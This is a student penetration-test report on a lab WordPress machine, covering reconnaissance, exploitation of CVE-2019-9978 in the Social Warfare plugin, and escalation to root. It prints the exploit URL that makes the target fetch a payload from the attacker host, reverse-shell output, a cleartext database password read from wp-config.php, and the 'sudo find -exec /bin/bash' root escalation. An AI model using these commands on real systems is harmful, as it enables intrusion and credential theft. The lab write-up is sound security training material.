

Vulnerability Assessment and Penetration Testing (VAPT) Report



Submitted To: Sibin Baby

Submitted By: Ismail

Attacker Machine IP: 10.0.2.15

Target Machine IP: 10.0.2.22

Assessment Type: Internal Network Penetration Test

Target System: Unnamed WordPress Machine

Date: February 2026

1. Executive Summary

A Vulnerability Assessment and Penetration Test (VAPT) was conducted on the target machine (10.0.2.22) within a controlled lab environment.

The objective of this assessment was to identify security weaknesses, exploit discovered vulnerabilities, and evaluate the overall security posture of the system.

During testing, a vulnerable **WordPress plugin (Social Warfare)** was identified using WPScan. The vulnerability allowed **Remote Code Execution (RCE)**, leading to unauthorized system access. Successful exploitation resulted in a reverse shell on the target machine, exposure of sensitive credentials stored in configuration files, and subsequent **privilege escalation to root access**.

The system was found to be **critically vulnerable** due to outdated software components and improper credential protection.

2. Scope of Assessment

Component	Details
Target Host	10.0.2.22
Attacker Host	10.0.2.15
Application	WordPress
Testing Method	Black Box Testing
Network Type	Internal Lab Network

3. Methodology

3.1 Reconnaissance

```
(kali㉿kali)-[~/Downloads]
└─$ sudo arp-scan -l
[sudo] password for kali:
Interface: eth0, type: EN10MB, MAC: 08:00:27:1f:b7:23, IPv4: 10.0.2.15
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
10.0.2.1      52:54:00:12:35:00    QEMU
10.0.2.2      52:54:00:12:35:00    QEMU
10.0.2.3      08:00:27:b4:7c:36    PCS Systemtechnik GmbH
10.0.2.22     08:00:27:88:2c:e1    PCS Systemtechnik GmbH

4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.126 seconds (120.41 hosts/sec). 4 responded

(kali㉿kali)-[~/Downloads]
└─$
```

Network discovery was performed using:

- arp-scan

Active hosts were identified within the subnet, confirming the availability of the target system.

3.2 Enumeration

Service enumeration was conducted using:

- `nmap -A 10.0.2.22`

```
(kali@kali) - [~/Downloads]
$ nmap 10.0.2.22 -A
Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-23 05:33 +0530
Nmap scan report for 10.0.2.22
Host is up (0.0016s latency).
Not shown: 998 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
|_ ssh-hostkey:
|_  2048 1e:bc:02:ec:82:ee:28:e5:6e:4b:28:28:c8:ae:45:11 (RSA)
|_  256 94:4e:2a:60:78:6c:20:ce:aa:42:49:da:8a:02:3f:9f (ECDSA)
|_  256 77:94:54:c0:6b:f1:ff:3b:a2:61:b2:0b:32:09:95:b4 (ED25519)
80/tcp    open  http      Apache httpd 2.4.29 ((Ubuntu))
|_ http-title: Company Intranet Portal &#8211; Just another WordPress site
|_ http-server-header: Apache/2.4.29 (Ubuntu)
|_ http-generator: WordPress 5.1.1
MAC Address: 08:00:27:88:2C:E1 (Oracle VirtualBox virtual NIC)
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:lin
ux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT      ADDRESS
1   1.61 ms  10.0.2.22

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.46 seconds
```

Findings:

- Port 22 — SSH (OpenSSH 7.6p1)
- Port 80 — HTTP (Apache 2.4.29)

```
ssh-hostkey:
2048 1e:bc:02:ec:82:ee:28:e5:6e:4b:28:28:c8:ae:45:11 (RSA)
256 94:4e:2a:60:78:6c:20:ce:aa:42:49:da:8a:02:3f:9f (ECDSA)
256 77:94:54:c0:6b:f1:ff:3b:a2:61:b2:0b:32:09:95:b4 (ED25519)
o open  http      Apache httpd 2.4.29 ((Ubuntu))
o-title: Company Intranet Portal &#8211; Just another Wo
o-server-header: Apache/2.4.29 (Ubuntu)
o-generator: WordPress 5.1.1
ddress: 08:00:27:88:2C:E1 (Oracle VirtualBox virtual NIC)
e type: general purpose|router
ng: Linux 4.X|5.X, MikroTik RouterOS 7.X
E: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel
ux_kernel:5.6.3
tails: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), Mik
rk Distance: 1 hop
e Info: OS: Linux; CPE: cpe:/o:linux:linux kernel
```

- WordPress CMS detected

3.3 Vulnerability Identification

WordPress scanning was performed using:

- wpscan

```
[i] Plugin(s) Identified:

[+] social-warfare
| Location: http://10.0.2.22/wp-content/plugins/social-warfare/
| Last Updated: 2025-03-18T09:37:00.000Z
| [!] The version is out of date, the latest version is 4.5.6
|
| Found By: Comment (Passive Detection)
|
| Version: 3.5.2 (100% confidence)
| Found By: Comment (Passive Detection)
| - http://10.0.2.22/, Match: 'Social Warfare v3.5.2'
| Confirmed By:
|   Readme - Stable Tag (Aggressive Detection)
|   - http://10.0.2.22/wp-content/plugins/social-warfare/readme.txt
|   Readme - ChangeLog Section (Aggressive Detection)
|   - http://10.0.2.22/wp-content/plugins/social-warfare/readme.txt
```

The scan identified an outdated plugin:

Plugin: Social Warfare
Installed Version: 3.5.2
Latest Version: 4.5.6

The plugin version was vulnerable to:

CVE-2019-9978 — Remote Code Execution

3.4 Exploitation

Exploit research was performed using:

- searchsploit

```
(kali@kali)-[~/Downloads]
$ searchsploit social warfare
```

Exploit Title	Path
Social Warfare WordPress Plugin 3.5.2 - Remote Code Execution (RCE)	multiple/webapps/52346.py
WordPress Plugin Social Warfare < 3.5.3 - Remote Code Execution	php/webapps/46794.py

```
Shellcodes: No Results
Papers: No Results

(kali@kali)-[~/Downloads]
$ searchsploit -m multiple/webapps/52346.py
Exploit: Social Warfare WordPress Plugin 3.5.2 - Remote Code Execution (RCE)
  URL: https://www.exploit-db.com/exploits/52346
  Path: /usr/share/exploitdb/exploits/multiple/webapps/52346.py
  Codes: CVE-2019-9978
  Verified: False
File Type: Python script, ASCII text executable
Copied to: /home/kali/Downloads/52346.py
```

A public exploit targeting the Social Warfare plugin was located and executed.

The exploit abused the endpoint:

/wp-admin/admin-post.php

Using the vulnerable debug parameter, the attacker forced the server to download and execute a malicious payload hosted on the attacker machine.

```
(kali㉿kali)-[~/Downloads]
$ python3 52346.py
[+] Payload written to payload.txt
[+] HTTP server running at port 8000
[+] Listening on port 4444 for reverse shell ...
listening on [any] 4444 ...
[+] Sending exploit: http://10.0.2.22/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://10.0.2.15:8000/payload.txt
10.0.2.22 - - [23/Feb/2026 05:27:18] "GET /payload.txt?swp_debug=get_user_options HTTP/1.0" 200 -
connect to [10.0.2.15] from (UNKNOWN) [10.0.2.22] 37444
bash: cannot set terminal process group (966): Inappropriate ioctl for device
bash: no job control in this shell
www-data@machine:/var/www/html/wordpress/wp-admin$ ls
ls
about.php
admin-ajax.php
admin-footer.php
```

A reverse shell connection was successfully established:

Target → Attacker (10.0.2.15:4444)

Shell access obtained as:

www-data

3.5 Post Exploitation

After gaining access:

1. Interactive shell obtained using Python PTY spawn.

```
/usr/bin/pkexec
/usr/bin/at
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/traceroute6.iputils
/usr/bin/newgidmap
/usr/bin/chfn
/usr/bin/newuidmap
/usr/bin/newgrp
/usr/bin/chsh
www-data@machine:/home$ python3 -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@machine:/home$ sudo -l
sudo -l
[sudo] password for www-data:

Sorry, try again.
[sudo] password for www-data:

Sorry, try again.
[sudo] password for www-data:
```

1. Sensitive configuration files inspected.

```
sudo: 3 incorrect password attempts
www-data@machine:/home$ cd /var/www/html/wordpress
cd /var/www/html/wordpress
www-data@machine:/var/www/html/wordpress$ cat wp-config.php
cat wp-config.php
<?php
/**
 * The base configuration for WordPress
 *
```

File accessed:

```
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wp' );

/** MySQL database username */
define( 'DB_USER', 'adam' );

/** MySQL database password */
define( 'DB_PASSWORD', '2hO2o6cTikWCWcU15N8E' );

/** MySQL hostname */
define( 'DB_HOST', 'localhost' );

/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );
```

/var/www/html/wordpress/wp-config.php

Database credentials were exposed:

- Database User: adam
- Database Password: 2hO2o6cTikWCWcU15N8E

Credential reuse allowed access escalation to another system user.

3.6 Privilege Escalation

After extracting database credentials from wp-config.php, the attacker switched to the local user:

su adam

```
www-data@machine:/var/www/html/wordpress$ su adam
su adam
Password: 2hO2o6cTikWCWcU15N8E

$ ls
ls
index.php      wp-blog-header.php  wp-cron.php      wp-mail.php
license.txt    wp-comments-post.php wp-includes       wp-settings.php
readme.html    wp-config.php       wp-links-opml.php wp-signup.php
wp-activate.php wp-config-sample.php wp-load.php       wp-trackback.php
wp-admin       wp-content          wp-login.php      xmlrpc.php

$ whoami
whoami
adam
```

The user adam was found to have misconfigured sudo permissions:

sudo -l

Output indicated that the user could execute /usr/bin/find as root without a password:

(root) NOPASSWD: /usr/bin/find

This misconfiguration allowed command execution as root using:

```
$ sudo -l
sudo -l
Matching Defaults entries for adam on machine:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User adam may run the following commands on machine:
    (root) NOPASSWD: /usr/bin/find
$ sudo find / -exec /bin/bash \; -quit
sudo find / -exec /bin/bash \; -quit
root@machine:/var/www/html/wordpress# whoami
whoami
root
root@machine:/var/www/html/wordpress# cd /root
cd /root
root@machine:/root# ls
ls
root@machine:/root# ls -a
ls -a
.  ..  .bash_history  .bashrc  .local  .mysql_history  .profile  .ssh
root@machine:/root#
```

sudo find / -exec /bin/bash \; -quit

A root shell was successfully obtained:

whoami → root

Full system compromise was achieved, including access to the /root directory.

4. Vulnerability Details

Vulnerability Name

Social Warfare Plugin Remote Code Execution

CVE ID

CVE-2019-9978

Severity

Critical

Description

The Social Warfare WordPress plugin fails to properly validate user input in debug functionality, allowing attackers to load remote resources and execute arbitrary commands on the server.

Impact

- Remote command execution
- Unauthorized server access
- Credential disclosure
- Privilege escalation to root
- Full system compromise

5. Risk Rating

Factor	Rating
Exploit Availability	High
Authentication Required	No
Impact	Critical
Overall Risk	Critical

6. Proof of Concept (PoC)

Evidence includes:

- Network discovery results
- Nmap service enumeration
- WPScan plugin detection
- Exploit execution output
- Reverse shell access
- Credential extraction from wp-config.php
- Privilege escalation to root

(Screenshots attached separately as Appendix A)

7. Recommendations

1. Immediately update or remove vulnerable plugins.
2. Disable unnecessary debug functionality in WordPress.
3. Restrict access to administrative endpoints.
4. Store credentials securely using environment variables.
5. Apply principle of least privilege for web services.
6. Remove unnecessary sudo permissions (especially NOPASSWD entries).
7. Implement Web Application Firewall (WAF).
8. Regular vulnerability scanning and patch management.

8. Conclusion

The penetration test successfully demonstrated that an outdated WordPress plugin could be exploited to achieve Remote Code Execution, credential disclosure, and privilege escalation to root access.

Failure to maintain updated components and secure privilege configurations significantly increases the attack surface. Immediate remediation actions are strongly recommended to prevent real-world compromise.

9. Appendix

Appendix A — Screenshots

- Host discovery results
- Nmap scan output
- WPScan plugin detection
- Exploit execution
- Reverse shell connection
- Credential disclosure
- Privilege escalation to root

Report Prepared By:

Ismail

Cybersecurity Student

